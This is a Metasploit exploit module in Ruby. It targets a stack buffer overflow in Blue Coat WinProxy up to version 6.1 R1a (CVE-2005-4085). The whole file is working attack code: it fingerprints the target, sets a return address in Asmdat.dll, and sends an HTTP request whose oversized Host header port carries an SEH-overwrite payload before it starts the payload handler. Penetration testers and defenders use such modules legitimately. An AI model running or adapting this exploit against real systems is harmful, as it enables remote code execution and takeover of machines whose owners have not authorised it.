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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Blue Coat WinProxy Host Header Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in the Blue Coat Systems WinProxy
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        service by sending a long port value for the Host header in a HTTP
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        request.
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2005-4085'],
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          ['OSVDB', '22238'],
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          ['BID', '16147'],
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          ['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 600,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
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        ],
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      'Privileged'     => true,
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      'DisclosureDate' => '2005-01-05',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(80)
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      ])
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    sploit  = "GET / HTTP/1.1" + "\r\n"
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    sploit += "Host: 127.0.0.1:"
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    sploit += rand_text_english(31, payload_badchars)
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    seh  = generate_seh_payload(target.ret)
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    sploit[23, seh.length] = seh
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    sploit += "\r\n\r\n"
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    sock.put(sploit)
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    sock.get_once(-1, 3)
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    handler
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    disconnect
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  end
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end
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